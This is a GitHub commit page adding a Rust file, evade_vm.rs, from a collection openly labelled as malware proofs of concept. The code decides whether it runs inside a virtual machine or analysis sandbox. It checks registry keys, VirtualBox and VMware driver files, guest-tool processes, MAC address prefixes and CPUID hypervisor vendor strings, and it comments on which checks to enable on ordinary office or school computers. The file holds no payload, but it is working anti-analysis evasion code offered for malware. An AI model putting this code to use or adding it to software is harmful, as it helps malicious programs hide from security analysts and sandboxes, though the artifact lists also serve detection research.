Skip to content

Commit 6459d01

Browse files
committed
Anti-Virtualization / Full-System Emulation
1 parent ac45305 commit 6459d01

File tree

1 file changed

+343
-0
lines changed

1 file changed

+343
-0
lines changed

evade_vm.rs

Lines changed: 343 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,343 @@
1+
/*
2+
Anti-Virtualization / Full-System Emulation
3+
For More Malware POC: https://github.com/Whitecat18/Rust-for-Malware-Development.git
4+
By @5mukx
5+
*/
6+
7+
8+
/*
9+
10+
Note:
11+
[Dev Machine] -> Installed VM's Softwares and some development tools for malware testing.
12+
I have comment out some code due to testing purpose. If you execute this code on development machines[Dev Machine] , ofcouse its gonna result out
13+
{Machine Running in Vitrualmachine}. So to avoid testing, i have commented out some codes with // sus // tag.
14+
15+
If you are executing this on normal machines such as schools and office computers, means you can uncomment codes that was tagged with -> // sus //
16+
17+
[+] This is an All in one resource gathered together and coded..
18+
If you want to exec even more fast 1.1 to 0.2 secs.
19+
Reduce the content of the program or artifacts and keep up the main one for
20+
*/
21+
22+
23+
use std::process::Command;
24+
use std::fs;
25+
use raw_cpuid::CpuId;
26+
27+
macro_rules! okey {
28+
($msg:expr) => {
29+
30+
println!("\n----[+]\\ {} //[+]----\n",format!($msg));
31+
}
32+
}
33+
34+
macro_rules! error {
35+
($msg:expr) => {
36+
println!("\n----[-]\\ {} //[-]----\n\n", format!($msg));
37+
}
38+
}
39+
40+
fn main(){
41+
let vm_detect = check_vm();
42+
if vm_detect{
43+
error!("VM Detected. Malware Running in sandbox"); // bruh... ;(
44+
}else{
45+
okey!("Malware Runnung on main Machine"); // Yayy .. ;)
46+
}
47+
}
48+
49+
fn check_vm() -> bool{
50+
51+
//##=> Registry key value artifacts
52+
53+
let registry_keys_value_artifacts = vec![
54+
// (r#"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion"#, "",""), // Example test case to see if this reg key attri wokrs ! Dont uncomment this !
55+
(r#"HKLM\HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0"#, "Identifier", "VMWARE"),
56+
(r#"HKLM\SOFTWARE\VMware, Inc.\VMware Tools"#, "", ""),
57+
(r#"HKLM\HARDWARE\Description\System\SystemBiosVersion"#, "", "VMWARE"),
58+
(r#"HKLM\HARDWARE\Description\System\SystemBiosVersion"#, "", "VBOX"),
59+
(r#"HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions"#, "", ""),
60+
(r#"HKLM\HARDWARE\ACPI\DSDT\VBOX__"#, "", ""),
61+
(r#"HKLM\HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0"#, "Identifier", "VBOX"),
62+
(r#"HKLM\HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0"#, "Identifier", "QEMU"),
63+
(r#"HKLM\HARDWARE\Description\System\SystemBiosVersion"#, "", "VBOX"),
64+
(r#"HKLM\HARDWARE\Description\System\SystemBiosVersion"#, "", "QEMU"),
65+
(r#"HKLM\HARDWARE\Description\System\VideoBiosVersion"#, "", "VIRTUALBOX"),
66+
(r#"HKLM\HARDWARE\Description\System\SystemBiosDate"#, "", "06/23/99"),
67+
(r#"HKLM\HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0"#, "Identifier", "VMWARE"),
68+
(r#"HKLM\HARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0"#, "Identifier", "VMWARE"),
69+
(r#"HKLM\HARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0"#, "Identifier", "VMWARE"),
70+
(r#"HKLM\SYSTEM\ControlSet001\Control\SystemInformation"#, "SystemManufacturer", "VMWARE"),
71+
(r#"HKLM\SYSTEM\ControlSet001\Control\SystemInformation"#, "SystemProductName", "VMWARE"),
72+
];
73+
74+
let registry_keys_value_artifacts_value = registry_keys_value_artifacts.iter().any(|&(key, value_name, expected_value)| {
75+
let key_exists = registry_key_exists(key);
76+
let value_matches = registry_value_matches(key, value_name, expected_value);
77+
key_exists && value_matches
78+
});
79+
80+
//##==> Registry Keys artifacts
81+
82+
let registry_keys_artifacts = vec![
83+
r#"HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__"#,
84+
r#"HKEY_LOCAL_MACHINE\HARDWARE\ACPI\FADT\VBOX__"#,
85+
r#"HKEY_LOCAL_MACHINE\HARDWARE\ACPI\RSDT\VBOX__"#,
86+
r#"HKEY_LOCAL_MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions"#,
87+
r#"HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\VBoxGuest"#,
88+
r#"HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\VBoxMouse"#,
89+
r#"HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\VBoxService"#,
90+
r#"HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\VBoxSF"#,
91+
r#"HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\VBoxVideo"#,
92+
r#"HKEY_LOCAL_MACHINE\SOFTWARE\VMware, Inc.\VMware Tools"#,
93+
r#"HKEY_LOCAL_MACHINE\SOFTWARE\Wine"#,
94+
r#"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Virtual Machine\Guest\Parameters"#,
95+
96+
// // Main machines contains this reg key. So uncomment this !
97+
// If you are exec it on developer machine means ofcourse the reg contains in it ..
98+
99+
// r#"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Disk\Enum"#, // sus //
100+
// r#"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\IDE"#, // sus //
101+
// r#"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\SCSI"#, // sus //
102+
];
103+
104+
let registry_keys_artifacts_value = registry_keys_artifacts.iter().any(|&key| registry_key_exists(key));
105+
106+
//##==> Checking File System artifacts !
107+
108+
let file_system_artifacts = vec![
109+
r#"C:\Windows\system32\drivers\VBoxMouse.sys"#,
110+
r#"C:\Windows\system32\drivers\VBoxGuest.sys"#,
111+
r#"C:\Windows\system32\drivers\VBoxSF.sys"#,
112+
r#"C:\Windows\system32\drivers\VBoxVideo.sys"#,
113+
r#"C:\Windows\system32\vboxdisp.dll"#,
114+
r#"C:\Windows\system32\vboxhook.dll"#,
115+
r#"C:\Windows\system32\vboxmrxnp.dll"#,
116+
r#"C:\Windows\system32\vboxogl.dll"#,
117+
r#"C:\Windows\system32\vboxoglarrayspu.dll"#,
118+
r#"C:\Windows\system32\vboxoglcrutil.dll"#,
119+
r#"C:\Windows\system32\vboxoglerrorspu.dll"#,
120+
r#"C:\Windows\system32\vboxoglfeedbackspu.dll"#,
121+
r#"C:\Windows\system32\vboxoglpackspu.dll"#,
122+
r#"C:\Windows\system32\vboxoglpassthroughspu.dll"#,
123+
r#"C:\Windows\system32\vboxservice.exe"#,
124+
r#"C:\Windows\system32\vboxtray.exe"#,
125+
r#"C:\Windows\system32\VBoxControl.exe"#,
126+
r#"C:\Windows\system32\drivers\vmmouse.sys"#,
127+
r#"C:\Windows\system32\drivers\vmhgfs.sys"#,
128+
r#"C:\Windows\system32\drivers\vm3dmp.sys"#,
129+
r#"C:\Windows\system32\drivers\vmhgfs.sys"#,
130+
r#"C:\Windows\system32\drivers\vmmemctl.sys"#,
131+
r#"C:\Windows\system32\drivers\vmmouse.sys"#,
132+
r#"C:\Windows\system32\drivers\vmrawdsk.sys"#,
133+
r#"C:\Windows\system32\drivers\vmusbmouse.sys"#,
134+
135+
// wtf is this -> VMCI.sys is the driver for the VMware Virtual Machine Communication Interface (VMCI).
136+
// It's responsible for communication between the host operating system and a virtual machine,
137+
// or between two or more virtual machines on the same host
138+
139+
// So if you are testing with your development machine (vmware installed). This file artifact will contains in the main machine so i commented out it !
140+
// IF you did not installed vm's on you dev machine, then you can uncomment this !
141+
142+
// r#"C:\Windows\system32\drivers\vmci.sys"#, // sus //
143+
];
144+
145+
let file_system_artifacts_value = file_system_artifacts.iter().any(|&path| file_artifacts(path));
146+
147+
//##=> Check running process !
148+
149+
// Fastest Approach ever 0.3 secs
150+
151+
let all_processes = get_running_processes();
152+
let target_processes = vec![
153+
"vboxservice.exe",
154+
"vboxtray.exe",
155+
"vmtoolsd.exe",
156+
"vmwaretray.exe",
157+
"vmwareuser.exe",
158+
"VGAuthService.exe",
159+
"vmacthlp.exe",
160+
"vmsrvc.exe",
161+
"vmusrvc.exe",
162+
"prl_cc.exe",
163+
"prl_tools.exe",
164+
"xenservice.exe",
165+
"qemu-ga.exe",
166+
];
167+
168+
let target_process_value = target_processes.iter()
169+
.any(|target_process| process_exists(&all_processes, target_process));
170+
171+
172+
173+
//##==> Check Mac Address...!
174+
175+
// let mac_address = get_mac_address();
176+
177+
let mac_address = match get_mac_address(){
178+
Some(mac) => mac,
179+
None => return false,
180+
};
181+
182+
let vm_mac_addresses = vec![
183+
vec![0x08, 0x00, 0x27], // VBOX
184+
vec![0x00, 0x05, 0x69], // VMWARE
185+
vec![0x00, 0x0C, 0x29], // VMWARE
186+
vec![0x00, 0x1C, 0x14], // VMWARE
187+
vec![0x00, 0x50, 0x56], // VMWARE
188+
vec![0x00, 0x1C, 0x42], // Parallels
189+
vec![0x00, 0x16, 0x3E], // Xen
190+
vec![0x0A, 0x00, 0x27], // Hybrid Analysis
191+
];
192+
193+
let mac_address_value = match find_matching_pattern(&mac_address, &vm_mac_addresses) {
194+
Some(_) => true,
195+
None => false,
196+
};
197+
198+
//##==> Check CPU Instructions
199+
200+
let cpuid = CpuId::new();
201+
202+
let vm_presence = cpuid.get_feature_info().map_or(false, |info| {
203+
info.has_hypervisor()
204+
});
205+
206+
207+
let vm_vendor = cpuid.get_vendor_info().map_or(false, |info| {
208+
info.as_str().contains("KVMKVMKVM") || // KVM
209+
info.as_str().contains("Microsoft Hv") || // Microsoft Hyper-V or Windows Virtual PC
210+
info.as_str().contains("VMwareVMware") || // VMware
211+
info.as_str().contains("XenVMMXenVMM") || // Xen
212+
info.as_str().contains("prl hyperv") || // Parallels
213+
info.as_str().contains("VBoxVBoxVBox") // VirtualBox
214+
});
215+
216+
let cpu_vendor_value = vm_presence || vm_vendor;
217+
218+
//##=> WMI Quaries !! Soon ...!
219+
220+
registry_keys_value_artifacts_value ||
221+
registry_keys_artifacts_value ||
222+
file_system_artifacts_value ||
223+
target_process_value ||
224+
mac_address_value ||
225+
cpu_vendor_value
226+
227+
228+
}
229+
230+
fn registry_key_exists(key: &str) -> bool {
231+
let output = Command::new("reg")
232+
.args(&["query", &key])
233+
.output()
234+
.expect("Failed to execute reg query cmd");
235+
236+
output.status.success()
237+
}
238+
239+
// Program to check registry keys with artifacts ..!
240+
fn registry_value_matches(key: &str, value_name: &str, expected_value: &str) -> bool {
241+
let output = Command::new("reg")
242+
.args(&["query", &key, "/v", value_name])
243+
.output()
244+
.expect("Failed to execute reg query cmd");
245+
246+
if output.status.success() {
247+
let stdout = String::from_utf8_lossy(&output.stdout);
248+
stdout.contains(expected_value)
249+
} else {
250+
false
251+
}
252+
}
253+
254+
// Progran to check if file exists !
255+
fn file_artifacts(path: &str)-> bool{
256+
fs::metadata(path).is_ok()
257+
}
258+
259+
// Programs to check for current running process !
260+
261+
fn get_running_processes() -> Vec<String>{
262+
let output = Command::new("wmic")
263+
.args(&["process","get","name"])
264+
.output()
265+
.expect("Failed to execute wmic cmd");
266+
267+
let output_str = String::from_utf8_lossy(&output.stdout);
268+
269+
let processes: Vec<String> = output_str
270+
.lines()
271+
.skip(1)
272+
.map(|line| line.trim().to_lowercase())
273+
.collect();
274+
275+
processes
276+
}
277+
278+
fn process_exists(processes: &[String], target: &str) -> bool {
279+
processes.iter().any(|process| process.contains(target))
280+
}
281+
282+
// Function to find mac addresses
283+
284+
fn get_mac_address() -> Option<Vec<u8>> {
285+
let output = Command::new("ipconfig")
286+
.args(&["/all"])
287+
.output()
288+
.expect("Failed to Exec ipconfing");
289+
290+
let output_str = String::from_utf8_lossy(&output.stdout);
291+
292+
for line in output_str.lines() {
293+
if line.contains("Physical Address") {
294+
let parts: Vec<&str> = line.split_whitespace().collect();
295+
if parts.len() >= 3 {
296+
let mac_address_str = parts[2].replace("-", ":");
297+
let mac_bytes: Vec<u8> = mac_address_str.split(":")
298+
.map(|s| u8::from_str_radix(s, 16).unwrap_or_default())
299+
.collect();
300+
return Some(mac_bytes);
301+
}
302+
}
303+
}
304+
None
305+
}
306+
307+
fn find_matching_pattern<'a>(mac_address: &'a Vec<u8>, patterns: &'a Vec<Vec<u8>>) -> Option<&'a Vec<u8>> {
308+
for pattern in patterns {
309+
if mac_address.starts_with(pattern) {
310+
return Some(pattern);
311+
}
312+
}
313+
None
314+
}
315+
316+
317+
// Programs to find thr presence of Specific CPU Instructions !
318+
// There is an create that will take care of it !!
319+
// fn check_cpu_instruction(eax_value: u32) -> bool {
320+
// let eax_value_str = format!("{:#x}", eax_value);
321+
// let output = Command::new("cpuid")
322+
// .args(&["-l", &eax_value_str])
323+
// .output()
324+
// .expect("Failed to execute cpuid cmd");
325+
326+
// let output_str = String::from_utf8_lossy(&output.stdout);
327+
// output_str.contains(&eax_value_str)
328+
// }
329+
330+
// fn detect_vendor_string(vendor_string: &str) -> bool {
331+
// let output = Command::new("cpuid")
332+
// .args(&["-s", "0"])
333+
// .output()
334+
// .expect("Failed to execute cpuid cmd");
335+
336+
// let output_str = String::from_utf8_lossy(&output.stdout);
337+
// output_str.contains(vendor_string)
338+
// }
339+
340+
// Program to use WMI Quaries to retrieve sys info !
341+
342+
// System Firmware tables
343+
// Get Syetem frimwares => soon !

0 commit comments

Comments
 (0)